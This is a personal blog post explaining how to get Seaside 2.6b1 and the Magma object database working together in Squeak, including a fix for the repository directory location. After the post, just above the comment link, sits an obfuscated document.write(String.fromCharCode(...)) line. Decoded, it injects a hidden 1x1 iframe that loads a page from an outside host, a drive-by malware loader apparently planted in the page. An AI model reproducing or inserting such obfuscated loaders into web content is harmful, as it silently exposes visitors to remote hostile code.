Squeak,

It took a little bit of fiddling but Seaside2.6b1 and the latest Magma now seem to be running in harmony on my local Squeak image. Mainly for my personal reference but maybe it’s useful to someone else too, here are the steps I took to get there:

  1. Install the latest bleeding edge snapshot of Seaside, available here
  2. Install the latest Magma using the Monticello browser and the MagmaTesterLoader package from the MagmaTester repository at SqueakSource
  3. Again, using the Monticello browser, install the Magma seaside package from the same repository

At this point, I could see the Magma configuration panel in Seaside but everytime I tried to use a WAMagmaConfiguration I got “message not understood” errors from the WARenderCanvas. It turns out that the Magma-Seaside integration expects to find a Magma repository in a “magma” directory in your Squeak folder.

My Squeak is placed in C:\Squeak and I had created my repository at C:\Magma. However, a WAMagmaConfiguration calls MagmaLocalLocation default to obtain the default magma directory (this, in turn calls FileDirectory default fullNameFor: 'magma' which points to <squeakdir>\magma). So I just moved the C:\Magma directory to C:\Squeak\Magma and now everything is working perfectly.

document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62))

Leave a comment